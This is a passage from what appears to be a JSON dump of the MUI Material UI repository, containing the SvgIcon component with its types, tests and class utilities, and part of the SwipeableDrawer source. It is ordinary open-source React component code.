[Icons](https://next.mui.com/material-ui/icons/)\n * - [Material Icons](https://next.mui.com/material-ui/material-icons/)\n *\n * API:\n *\n * - [SvgIcon API](https://next.mui.com/material-ui/api/svg-icon/)\n */\ndeclare const SvgIcon: OverridableComponent<SvgIconTypeMap> & { muiName: string };\n\nexport type SvgIconProps<\n  RootComponent extends React.ElementType = SvgIconTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<SvgIconTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default SvgIcon;\n"
  },
  {
    "path": "packages/mui-material/src/SvgIcon/SvgIcon.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport capitalize from '../utils/capitalize';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getSvgIconUtilityClass } from './svgIconClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { color, fontSize, classes } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      color !== 'inherit' && `color${capitalize(color)}`,\n      `fontSize${capitalize(fontSize)}`,\n    ],\n  };\n\n  return composeClasses(slots, getSvgIconUtilityClass, classes);\n};\n\nconst SvgIconRoot = styled('svg', {\n  name: 'MuiSvgIcon',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.color !== 'inherit' && styles[`color${capitalize(ownerState.color)}`],\n      styles[`fontSize${capitalize(ownerState.fontSize)}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    userSelect: 'none',\n    width: '1em',\n    height: '1em',\n    display: 'inline-block',\n    flexShrink: 0,\n    transition: theme.transitions?.create?.('fill', {\n      duration: (theme.vars ?? theme).transitions?.duration?.shorter,\n    }),\n    variants: [\n      {\n        props: (props) => !props.hasSvgAsChild,\n        style: {\n          // the <svg> will define the property that has `currentColor`\n          // for example heroicons uses fill=\"none\" and stroke=\"currentColor\"\n          fill: 'currentColor',\n        },\n      },\n      {\n        props: { fontSize: 'inherit' },\n        style: { fontSize: 'inherit' },\n      },\n      {\n        props: { fontSize: 'small' },\n        style: { fontSize: theme.typography?.pxToRem?.(20) || '1.25rem' },\n      },\n      {\n        props: { fontSize: 'medium' },\n        style: { fontSize: theme.typography?.pxToRem?.(24) || '1.5rem' },\n      },\n      {\n        props: { fontSize: 'large' },\n        style: { fontSize: theme.typography?.pxToRem?.(35) || '2.1875rem' },\n      },\n      // TODO v5 deprecate color prop, v6 remove for sx\n      ...Object.entries((theme.vars ?? theme).palette)\n        .filter(([, value]) => value && value.main)\n        .map(([color]) => ({\n          props: { color },\n          style: { color: (theme.vars ?? theme).palette?.[color]?.main },\n        })),\n      {\n        props: { color: 'action' },\n        style: { color: (theme.vars ?? theme).palette?.action?.active },\n      },\n      {\n        props: { color: 'disabled' },\n        style: { color: (theme.vars ?? theme).palette?.action?.disabled },\n      },\n      {\n        props: { color: 'inherit' },\n        style: { color: undefined },\n      },\n    ],\n  })),\n);\n\nconst SvgIcon = React.forwardRef(function SvgIcon(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiSvgIcon' });\n  const {\n    children,\n    className,\n    color = 'inherit',\n    component = 'svg',\n    fontSize = 'medium',\n    htmlColor,\n    inheritViewBox = false,\n    titleAccess,\n    viewBox = '0 0 24 24',\n    ...other\n  } = props;\n\n  const hasSvgAsChild = React.isValidElement(children) && children.type === 'svg';\n\n  const ownerState = {\n    ...props,\n    color,\n    component,\n    fontSize,\n    instanceFontSize: inProps.fontSize,\n    inheritViewBox,\n    viewBox,\n    hasSvgAsChild,\n  };\n\n  const more = {};\n\n  if (!inheritViewBox) {\n    more.viewBox = viewBox;\n  }\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <SvgIconRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      focusable=\"false\"\n      color={htmlColor}\n      aria-hidden={titleAccess ? undefined : true}\n      role={titleAccess ? 'img' : undefined}\n      ref={ref}\n      {...more}\n      {...other}\n      {...(hasSvgAsChild && children.props)}\n      ownerState={ownerState}\n    >\n      {hasSvgAsChild ? children.props.children : children}\n      {titleAccess ? <title>{titleAccess}</title> : null}\n    </SvgIconRoot>\n  );\n});\n\nSvgIcon.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Node passed into the SVG element.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * You can use the `htmlColor` prop to apply a color attribute to the SVG element.\n   * @default 'inherit'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf([\n      'inherit',\n      'action',\n      'disabled',\n      'primary',\n      'secondary',\n      'error',\n      'info',\n      'success',\n      'warning',\n    ]),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The fontSize applied to the icon. Defaults to 24px, but can be configure to inherit font size.\n   * @default 'medium'\n   */\n  fontSize: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['inherit', 'large', 'medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * Applies a color attribute to the SVG element.\n   */\n  htmlColor: PropTypes.string,\n  /**\n   * If `true`, the root node will inherit the custom `component`'s viewBox and the `viewBox`\n   * prop will be ignored.\n   * Useful when you want to reference a custom `component` and have `SvgIcon` pass that\n   * `component`'s viewBox to the root node.\n   * @default false\n   */\n  inheritViewBox: PropTypes.bool,\n  /**\n   * The shape-rendering attribute. The behavior of the different options is described on the\n   * [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/shape-rendering).\n   * If you are having issues with blurry icons you should investigate this prop.\n   */\n  shapeRendering: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Provides a human-readable title for the element that contains it.\n   * https://www.w3.org/TR/SVG-access/#Equivalent\n   */\n  titleAccess: PropTypes.string,\n  /**\n   * Allows you to redefine what the coordinates without units mean inside an SVG element.\n   * For example, if the SVG element is 500 (width) by 200 (height),\n   * and you pass viewBox=\"0 0 50 20\",\n   * this means that the coordinates inside the SVG will go from the top left corner (0,0)\n   * to bottom right (50,20) and each unit will be worth 10px.\n   * @default '0 0 24 24'\n   */\n  viewBox: PropTypes.string,\n};\n\nSvgIcon.muiName = 'SvgIcon';\n\nexport default SvgIcon;\n"
  },
  {
    "path": "packages/mui-material/src/SvgIcon/SvgIcon.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport SvgIcon, { svgIconClasses as classes } from '@mui/material/SvgIcon';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<SvgIcon />', () => {\n  const { render } = createRenderer();\n\n  let path;\n\n  beforeAll(() => {\n    path = <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" data-testid=\"test-path\" />;\n  });\n\n  describeConformance(\n    <SvgIcon>\n      <path />\n    </SvgIcon>,\n    () => ({\n      classes,\n      inheritComponent: 'svg',\n      render,\n      muiName: 'MuiSvgIcon',\n      refInstanceof: window.SVGSVGElement,\n      testComponentPropWith: (props) => (\n        <svg {...props}>\n          <defs>\n            <linearGradient id=\"gradient1\">\n              <stop offset=\"20%\" stopColor=\"#39F\" />\n              <stop offset=\"90%\" stopColor=\"#F3F\" />\n            </linearGradient>\n          </defs>\n          {props.children}\n        </svg>\n      ),\n      skip: ['themeVariants'],\n    }),\n  );\n\n  it('renders children by default', () => {\n    const { container } = render(<SvgIcon>{path}</SvgIcon>);\n\n    expect(screen.queryByTestId('test-path')).not.to.equal(null);\n    expect(container.firstChild).to.have.attribute('aria-hidden', 'true');\n  });\n\n  it('renders children of provided svg and merge the props', () => {\n    const { container } = render(\n      <SvgIcon>\n        <svg viewBox=\"0 0 48 48\" strokeWidth=\"1.5\">\n          {path}\n        </svg>\n      </SvgIcon>,\n    );\n\n    expect(container.firstChild).to.have.tagName('svg');\n    expect(container.firstChild.firstChild).to.have.tagName('path');\n    expect(container.firstChild).to.have.attribute('viewBox', '0 0 48 48');\n    expect(container.firstChild).to.have.attribute('stroke-width', '1.5');\n  });\n\n  describe('prop: titleAccess', () => {\n    it('should be able to make an icon accessible', () => {\n      const { container } = render(\n        <SvgIcon title=\"Go to link\" titleAccess=\"Network\">\n          {path}\n        </SvgIcon>,\n      );\n\n      expect(screen.queryByText('Network')).not.to.equal(null);\n      expect(container.firstChild).not.to.have.attribute('aria-hidden');\n    });\n  });\n\n  describe('prop: color', () => {\n    it('should render with the user and SvgIcon classes', () => {\n      const { container } = render(<SvgIcon className=\"meow\">{path}</SvgIcon>);\n\n      expect(container.firstChild).to.have.class('meow');\n    });\n\n    it('should render with the secondary color', () => {\n      const { container } = render(<SvgIcon color=\"secondary\">{path}</SvgIcon>);\n\n      expect(container.firstChild).to.have.class(classes.colorSecondary);\n    });\n\n    it('should render with the action color', () => {\n      const { container } = render(<SvgIcon color=\"action\">{path}</SvgIcon>);\n\n      expect(container.firstChild).to.have.class(classes.colorAction);\n    });\n\n    it('should render with the error color', () => {\n      const { container } = render(<SvgIcon color=\"error\">{path}</SvgIcon>);\n\n      expect(container.firstChild).to.have.class(classes.colorError);\n    });\n\n    it('should render with the primary class', () => {\n      const { container } = render(<SvgIcon color=\"primary\">{path}</SvgIcon>);\n\n      expect(container.firstChild).to.have.class(classes.colorPrimary);\n    });\n  });\n\n  describe('prop: fontSize', () => {\n    it('should be able to change the fontSize', () => {\n      const { container } = render(<SvgIcon fontSize=\"inherit\">{path}</SvgIcon>);\n\n      expect(container.firstChild).to.have.class(classes.fontSizeInherit);\n    });\n  });\n\n  describe('prop: inheritViewBox', () => {\n    function CustomSvg(props) {\n      return (\n        <svg viewBox=\"-4 -4 24 24\" {...props}>\n          {path}\n        </svg>\n      );\n    }\n\n    it('should render with the default viewBox if neither inheritViewBox nor viewBox are provided', () => {\n      const { container } = render(<SvgIcon component={CustomSvg} />);\n      expect(container.firstChild).to.have.attribute('viewBox', '0 0 24 24');\n    });\n\n    it('should render with given viewBox if inheritViewBox is not provided', () => {\n      const { container } = render(<SvgIcon component={CustomSvg} viewBox=\"0 0 30 30\" />);\n      expect(container.firstChild).to.have.attribute('viewBox', '0 0 30 30');\n    });\n\n    it(\"should use the custom component's viewBox if true\", () => {\n      const { container } = render(<SvgIcon component={CustomSvg} inheritViewBox />);\n      expect(container.firstChild).to.have.attribute('viewBox', '-4 -4 24 24');\n    });\n  });\n\n  it.skipIf(isJsdom())(\n    'should not override internal ownerState with the ownerState passed to the icon',\n    function test() {\n      const { container } = render(<SvgIcon ownerState={{ fontSize: 'large' }}>{path}</SvgIcon>);\n      expect(container.firstChild).toHaveComputedStyle({ fontSize: '24px' }); // fontSize: medium -> 1.5rem = 24px\n    },\n  );\n\n  it.skipIf(!isJsdom())('should have `fill=\"currentColor\"`', function test() {\n    const { container } = render(\n      <SvgIcon>\n        <path />\n      </SvgIcon>,\n    );\n\n    expect(container.firstChild).toHaveComputedStyle({ fill: 'currentColor' });\n  });\n\n  it.skipIf(!isJsdom())('should not add `fill` if svg is a direct child', function test() {\n    const { container } = render(\n      <SvgIcon>\n        <svg>\n          <path />\n        </svg>\n      </SvgIcon>,\n    );\n\n    expect(container.firstChild).not.toHaveComputedStyle({ fill: 'currentColor' });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/SvgIcon/createSvgIcon.d.ts",
    "content": "import SvgIcon from './SvgIcon';\n\nexport default function createSvgIcon(path: React.ReactNode, displayName: string): typeof SvgIcon;\n"
  },
  {
    "path": "packages/mui-material/src/SvgIcon/createSvgIcon.js",
    "content": "'use client';\nimport * as React from 'react';\nimport SvgIcon from './SvgIcon';\n\n/**\n * Private module reserved for @mui packages.\n */\nexport default function createSvgIcon(path, displayName) {\n  function Component(props, ref) {\n    return (\n      <SvgIcon\n        data-testid={process.env.NODE_ENV !== 'production' ? `${displayName}Icon` : undefined}\n        ref={ref}\n        {...props}\n      >\n        {path}\n      </SvgIcon>\n    );\n  }\n\n  if (process.env.NODE_ENV !== 'production') {\n    // Need to set `displayName` on the inner component for React.memo.\n    // React prior to 16.14 ignores `displayName` on the wrapper.\n    Component.displayName = `${displayName}Icon`;\n  }\n\n  Component.muiName = SvgIcon.muiName;\n\n  return React.memo(React.forwardRef(Component));\n}\n"
  },
  {
    "path": "packages/mui-material/src/SvgIcon/index.d.ts",
    "content": "export { default } from './SvgIcon';\nexport * from './SvgIcon';\nexport { default as createSvgIcon } from './createSvgIcon';\n\nexport { default as svgIconClasses } from './svgIconClasses';\nexport * from './svgIconClasses';\n"
  },
  {
    "path": "packages/mui-material/src/SvgIcon/index.js",
    "content": "export { default } from './SvgIcon';\nexport { default as createSvgIcon } from './createSvgIcon';\n\nexport { default as svgIconClasses } from './svgIconClasses';\nexport * from './svgIconClasses';\n"
  },
  {
    "path": "packages/mui-material/src/SvgIcon/svgIconClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SvgIconClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `color=\"action\"`. */\n  colorAction: string;\n  /** Styles applied to the root element if `color=\"error\"`. */\n  colorError: string;\n  /** Styles applied to the root element if `color=\"disabled\"`. */\n  colorDisabled: string;\n  /** Styles applied to the root element if `fontSize=\"inherit\"`. */\n  fontSizeInherit: string;\n  /** Styles applied to the root element if `fontSize=\"small\"`. */\n  fontSizeSmall: string;\n  /** Styles applied to the root element if `fontSize=\"medium\"`. */\n  fontSizeMedium: string;\n  /** Styles applied to the root element if `fontSize=\"large\"`. */\n  fontSizeLarge: string;\n}\n\nexport type SvgIconClassKey = keyof SvgIconClasses;\n\nexport function getSvgIconUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiSvgIcon', slot);\n}\n\nconst svgIconClasses: SvgIconClasses = generateUtilityClasses('MuiSvgIcon', [\n  'root',\n  'colorPrimary',\n  'colorSecondary',\n  'colorAction',\n  'colorError',\n  'colorDisabled',\n  'fontSizeInherit',\n  'fontSizeSmall',\n  'fontSizeMedium',\n  'fontSizeLarge',\n]);\n\nexport default svgIconClasses;\n"
  },
  {
    "path": "packages/mui-material/src/SwipeableDrawer/SwipeArea.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport capitalize from '../utils/capitalize';\nimport { isHorizontal } from '../Drawer/Drawer';\n\nconst SwipeAreaRoot = styled('div', {\n  name: 'MuiSwipeArea',\n  shouldForwardProp: rootShouldForwardProp,\n})(\n  memoTheme(({ theme }) => ({\n    position: 'fixed',\n    top: 0,\n    left: 0,\n    bottom: 0,\n    zIndex: theme.zIndex.drawer - 1,\n    variants: [\n      {\n        props: {\n          anchor: 'left',\n        },\n        style: {\n          right: 'auto',\n        },\n      },\n      {\n        props: {\n          anchor: 'right',\n        },\n        style: {\n          left: 'auto',\n          right: 0,\n        },\n      },\n      {\n        props: {\n          anchor: 'top',\n        },\n        style: {\n          bottom: 'auto',\n          right: 0,\n        },\n      },\n      {\n        props: {\n          anchor: 'bottom',\n        },\n        style: {\n          top: 'auto',\n          bottom: 0,\n          right: 0,\n        },\n      },\n    ],\n  })),\n);\n\n/**\n * @ignore - internal component.\n */\nconst SwipeArea = React.forwardRef(function SwipeArea(props, ref) {\n  const { anchor, classes = {}, className, width, style, ...other } = props;\n\n  const ownerState = props;\n\n  return (\n    <SwipeAreaRoot\n      className={clsx(\n        'PrivateSwipeArea-root',\n        classes.root,\n        classes[`anchor${capitalize(anchor)}`],\n        className,\n      )}\n      ref={ref}\n      style={{\n        [isHorizontal(anchor) ? 'width' : 'height']: width,\n        ...style,\n      }}\n      ownerState={ownerState}\n      {...other}\n    />\n  );\n});\n\nSwipeArea.propTypes = {\n  /**\n   * Side on which to attach the discovery area.\n   */\n  anchor: PropTypes.oneOf(['left', 'top', 'right', 'bottom']).isRequired,\n  /**\n   * @ignore\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The width of the left most (or right most) area in `px` where the\n   * drawer can be swiped open from.\n   */\n  width: PropTypes.number.isRequired,\n};\n\nexport default SwipeArea;\n"
  },
  {
    "path": "packages/mui-material/src/SwipeableDrawer/SwipeableDrawer.d.ts",
    "content": "import * as React from 'react';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { DrawerProps, DrawerOwnerState, DrawerSlotsAndSlotProps } from '../Drawer';\n\nexport interface SwipeableDrawerSwipeAreaSlotPropsOverrides {}\n\nexport interface SwipeableDrawerSlots {\n  /**\n   * The component used for the swipeArea slot.\n   * @default div\n   */\n  swipeArea?: React.ElementType | undefined;\n}\n\ntype SwipeableDrawerSlotsAndSlotProps = DrawerSlotsAndSlotProps &\n  CreateSlotsAndSlotProps<\n    SwipeableDrawerSlots,\n    {\n      /**\n       * Props forwarded to the docked slot.\n       * By default, the available props are based on a div element.\n       */\n      swipeArea: SlotProps<'div', SwipeableDrawerSwipeAreaSlotPropsOverrides, DrawerOwnerState>;\n    }\n  >;\n\nexport interface SwipeableDrawerProps\n  extends\n    Omit<DrawerProps, 'onClose' | 'open' | 'slots' | 'slotProps'>,\n    SwipeableDrawerSlotsAndSlotProps {\n  /**\n   * If set to true, the swipe event will open the drawer even if the user begins the swipe on one of the drawer's children.\n   * This can be useful in scenarios where the drawer is partially visible.\n   * You can customize it further with a callback that determines which children the user can drag over to open the drawer\n   * (for example, to ignore other elements that handle touch move events, like sliders).\n   *\n   * @param {TouchEvent} event The 'touchstart' event\n   * @param {HTMLDivElement} swipeArea The swipe area element\n   * @param {HTMLDivElement} paper The drawer's paper element\n   *\n   * @default false\n   */\n  allowSwipeInChildren?:\n    | boolean\n    | ((event: TouchEvent, swipeArea: HTMLDivElement, paper: HTMLDivElement) => boolean)\n    | undefined;\n  /**\n   * Disable the backdrop transition.\n   * This can improve the FPS on low-end devices.\n   * @default false\n   */\n  disableBackdropTransition?: boolean | undefined;\n  /**\n   * If `true`, touching the screen near the edge of the drawer will not slide in the drawer a bit\n   * to promote accidental discovery of the swipe gesture.\n   * @default false\n   */\n  disableDiscovery?: boolean | undefined;\n  /**\n   * If `true`, swipe to open is disabled. This is useful in browsers where swiping triggers\n   * navigation actions. Swipe to open is disabled on iOS browsers by default.\n   * @default typeof navigator !== 'undefined' && /iPad|iPhone|iPod/.test(navigator.userAgent)\n   */\n  disableSwipeToOpen?: boolean | undefined;\n  /**\n   * Affects how far the drawer must be opened/closed to change its state.\n   * Specified as percent (0-1) of the width of the drawer\n   * @default 0.52\n   */\n  hysteresis?: number | undefined;\n  /**\n   * Defines, from which (average) velocity on, the swipe is\n   * defined as complete although hysteresis isn't reached.\n   * Good threshold is between 250 - 1000 px/s\n   * @default 450\n   */\n  minFlingVelocity?: number | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   *\n   * @param {React.SyntheticEvent<{}>} event The event source of the callback.\n   */\n  onClose: React.ReactEventHandler<{}>;\n  /**\n   * Callback fired when the component requests to be opened.\n   *\n   * @param {React.SyntheticEvent<{}>} event The event source of the callback.\n   */\n  onOpen: React.ReactEventHandler<{}>;\n  /**\n   * If `true`, the component is shown.\n   * @default false\n   */\n  open?: boolean | undefined;\n  /**\n   * The width of the left most (or right most) area in `px` that\n   * the drawer can be swiped open from.\n   * @default 20\n   */\n  swipeAreaWidth?: number | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Drawer](https://next.mui.com/material-ui/react-drawer/)\n *\n * API:\n *\n * - [SwipeableDrawer API](https://next.mui.com/material-ui/api/swipeable-drawer/)\n * - inherits [Drawer API](https://next.mui.com/material-ui/api/drawer/)\n */\ndeclare const SwipeableDrawer: React.JSXElementConstructor<SwipeableDrawerProps>;\n\nexport default SwipeableDrawer;\n"
  },
  {
    "path": "packages/mui-material/src/SwipeableDrawer/SwipeableDrawer.js",
    "content": "'use client';\nimport * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport PropTypes from 'prop-types';\nimport NoSsr from '../NoSsr';\nimport Drawer, { getAnchor, isHorizontal } from '../Drawer/Drawer';\nimport ownerDocument from '../utils/ownerDocument';\nimport ownerWindow from '../utils/ownerWindow';\nimport useEventCallback from '../utils/useEventCallback';\nimport useEnhancedEffect from '../utils/useEnhancedEffect';\nimport { useTheme } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getTransitionProps } from '../transitions/utils';\nimport { mergeSlotProps } from '../utils';\nimport useSlot from '../utils/useSlot';\nimport SwipeArea from './SwipeArea';\n\n// This value is closed to what browsers are using internally to\n// trigger a native scroll.\nconst UNCERTAINTY_THRESHOLD = 3; // px\n\n// This is the part of the drawer displayed on touch start.\nconst DRAG_STARTED_SIGNAL = 20; // px\n\n// We can only have one instance at the time claiming ownership for handling the swipe.\n// Otherwise, the UX would be confusing.\n// That's why we use a singleton here.\nlet claimedSwipeInstance = null;\n\n// Exported for test purposes.\nexport function reset() {\n  claimedSwipeInstance = null;\n}\n\nfunction calculateCurrentX(anchor, touches, doc) {\n  return anchor === 'right' ? doc.body.offsetWidth - touches[0].pageX : touches[0].pageX;\n}\n\nfunction calculateCurrentY(anchor, touches, containerWindow) {\n  return anchor === 'bottom'\n    ? containerWindow.innerHeight - touches[0].clientY\n    : touches[0].clientY;\n}\n\nfunction getMaxTranslate(horizontalSwipe, paperInstance) {\n  return horizontalSwipe ? paperInstance.clientWidth : paperInstance.clientHeight;\n}\n\nfunction getTranslate(currentTranslate, startLocation, open, maxTranslate) {\n  return Math.min(\n    Math.max(\n      open ? startLocation - currentTranslate : maxTranslate + startLocation - currentTranslate,\n      0,\n    ),\n    maxTranslate,\n  );\n}\n\n/**\n * @param {Element | null} element\n * @param {Element} rootNode\n */\nfunction getDomTreeShapes(element, rootNode) {\n  // Adapted from https://github.com/oliviertassinari/react-swipeable-views/blob/7666de1dba253b896911adf2790ce51467670856/packages/react-swipeable-views/src/SwipeableViews.js#L129\n  const domTreeShapes = [];\n\n  while (element && element !== rootNode.parentElement) {\n    const style = ownerWindow(rootNode).getComputedStyle(element);\n\n    if (\n      // Ignore the scroll children if the element is absolute positioned.\n      style.getPropertyValue('position') === 'absolute' ||\n      // Ignore the scroll children if the element has an overflowX hidden\n      style.getPropertyValue('overflow-x') === 'hidden'\n    ) {\n      // noop\n    } else if (\n      (element.clientWidth > 0 && element.scrollWidth > element.clientWidth) ||\n      (element.clientHeight > 0 && element.scrollHeight > element.clientHeight)\n    ) {\n      // Ignore the nodes that have no width.\n      // Keep elements with a scroll\n      domTreeShapes.push(element);\n    }\n\n    element = element.parentElement;\n  }\n\n  return domTreeShapes;\n}\n\n/**\n * @param {object} param0\n * @param {ReturnType<getDomTreeShapes>} param0.domTreeShapes\n */\nfunction computeHasNativeHandler({ domTreeShapes, start, current, anchor }) {\n  // Adapted from https://github.com/oliviertassinari/react-swipeable-views/blob/7666de1dba253b896911adf2790ce51467670856/packages/react-swipeable-views/src/SwipeableViews.js#L175\n  const axisProperties = {\n    scrollPosition: {\n      x: 'scrollLeft',\n      y: 'scrollTop',\n    },\n    scrollLength: {\n      x: 'scrollWidth',\n      y: 'scrollHeight',\n    },\n    clientLength: {\n      x: 'clientWidth',\n      y: 'clientHeight',\n    },\n  };\n\n  return domTreeShapes.some((shape) => {\n    // Determine if we are going backward or forward.\n    let goingForward = current >= start;\n    if (anchor === 'top' || anchor === 'left') {\n      goingForward = !goingForward;\n    }\n    const axis = anchor === 'left' || anchor === 'right' ? 'x' : 'y';\n    const scrollPosition = Math.round(shape[axisProperties.scrollPosition[axis]]);\n\n    const areNotAtStart = scrollPosition > 0;\n    const areNotAtEnd =\n      scrollPosition + shape[axisProperties.clientLength[axis]] <\n      shape[axisProperties.scrollLength[axis]];\n\n    if ((goingForward && areNotAtEnd) || (!goingForward && areNotAtStart)) {\n      return true;\n    }\n\n    return false;\n  });\n}\n\nconst iOS = typeof navigator !== 'undefined' && /iPad|iPhone|iPod/.test(navigator.userAgent);\n\nconst SwipeableDrawer = React.forwardRef(function SwipeableDrawer(inProps, ref) {\n  const props = useDefaultProps({ name: 'MuiSwipeableDrawer', props: inProps });\n  const theme = useTheme();\n  const transitionDurationDefault = {\n    enter: theme.transitions.duration.enteringScreen,\n    exit: theme.transitions.duration.leavingScreen,\n  };\n  const {\n    anchor = 'left',\n    disableBackdropTransition = false,\n    disableDiscovery = false,\n    disableSwipeToOpen = iOS,\n    hideBackdrop,\n    hysteresis = 0.52,\n    allowSwipeInChildren = false,\n    minFlingVelocity = 450,\n    ModalProps: ModalPropsProp = {},\n    onClose,\n    onOpen,\n    open = false,\n    swipeAreaWidth = 20,\n    transitionDuration = transitionDurationDefault,\n    variant = 'temporary', // Mobile first.\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const [maybeSwiping, setMaybeSwiping] = React.useState(false);\n  const swipeInstance = React.useRef({\n    isSwiping: null,\n  });\n\n  const swipeAreaRef = React.useRef();\n  const backdropRef = React.useRef();\n  const paperRef = React.useRef();\n\n  const touchDetected = React.useRef(false);\n\n  // Ref for transition duration based on / to match swipe speed\n  const calculatedDurationRef = React.useRef();\n\n  // Use a ref so the open value used is always up to date inside useCallback.\n  useEnhancedEffect(() => {\n    calculatedDurationRef.current = null;\n  }, [open]);\n\n  const setPosition = React.useCallback(\n    (translate, options = {}) => {\n      const { mode = null, changeTransition = true } = options;\n\n      const anchorRtl = getAnchor(theme, anchor);\n      const rtlTranslateMultiplier = ['right', 'bottom'].includes(anchorRtl) ? 1 : -1;\n      const horizontalSwipe = isHorizontal(anchor);\n\n      const transform = horizontalSwipe\n        ? `translate(${rtlTranslateMultiplier * translate}px, 0)`\n        : `translate(0, ${rtlTranslateMultiplier * translate}px)`;\n      const drawerStyle = paperRef.current.style;\n      drawerStyle.webkitTransform = transform;\n      drawerStyle.transform = transform;\n\n      let transition = '';\n\n      if (mode) {\n        transition = theme.transitions.create(\n          'all',\n          getTransitionProps(\n            {\n              easing: undefined,\n              style: undefined,\n              timeout: transitionDuration,\n            },\n            {\n              mode,\n            },\n          ),\n        );\n      }\n\n      if (changeTransition) {\n        drawerStyle.webkitTransition = transition;\n        drawerStyle.transition = transition;\n      }\n\n      if (!disableBackdropTransition && !hideBackdrop) {\n        const backdropStyle = backdropRef.current.style;\n        backdropStyle.opacity = 1 - translate / getMaxTranslate(horizontalSwipe, paperRef.current);\n\n        if (changeTransition) {\n          backdropStyle.webkitTransition = transition;\n          backdropStyle.transition = transition;\n        }\n      }\n    },\n    [anchor, disableBackdropTransition, hideBackdrop, theme, transitionDuration],\n  );\n\n  const handleBodyTouchEnd = useEventCallback((nativeEvent) => {\n    if (!touchDetected.current) {\n      return;\n    }\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- claimedSwipeInstance is a singleton\n    claimedSwipeInstance = null;\n    touchDetected.current = false;\n    ReactDOM.flushSync(() => {\n      setMaybeSwiping(false);\n    });\n\n    // The swipe wasn't started.\n    if (!swipeInstance.current.isSwiping) {\n      swipeInstance.current.isSwiping = null;\n      return;\n    }\n\n    swipeInstance.current.isSwiping = null;\n\n    const anchorRtl = getAnchor(theme, anchor);\n    const horizontal = isHorizontal(anchor);\n    let current;\n    if (horizontal) {\n      current = calculateCurrentX(\n        anchorRtl,\n        nativeEvent.changedTouches,\n        ownerDocument(nativeEvent.currentTarget),\n      );\n    } else {\n      current = calculateCurrentY(\n        anchorRtl,\n        nativeEvent.changedTouches,\n        ownerWindow(nativeEvent.currentTarget),\n      );\n    }\n\n    const startLocation = horizontal ? swipeInstance.current.startX : swipeInstance.current.startY;\n    const maxTranslate = getMaxTranslate(horizontal, paperRef.current);\n    const currentTranslate = getTranslate(current, startLocation, open, maxTranslate);\n    const translateRatio = currentTranslate / maxTranslate;\n\n    if (Math.abs(swipeInstance.current.velocity) > minFlingVelocity) {\n      // Calculate transition duration to match swipe speed\n      calculatedDurationRef.current =\n        Math.abs((maxTranslate - currentTranslate) / swipeInstance.current.velocity) * 1000;\n    }\n\n    if (open) {\n      if (swipeInstance.current.velocity > minFlingVelocity || translateRatio > hysteresis) {\n        onClose();\n      } else {\n        // Reset the position, the swipe was aborted.\n        setPosition(0, {\n          mode: 'exit',\n        });\n      }\n\n      return;\n    }\n\n    if 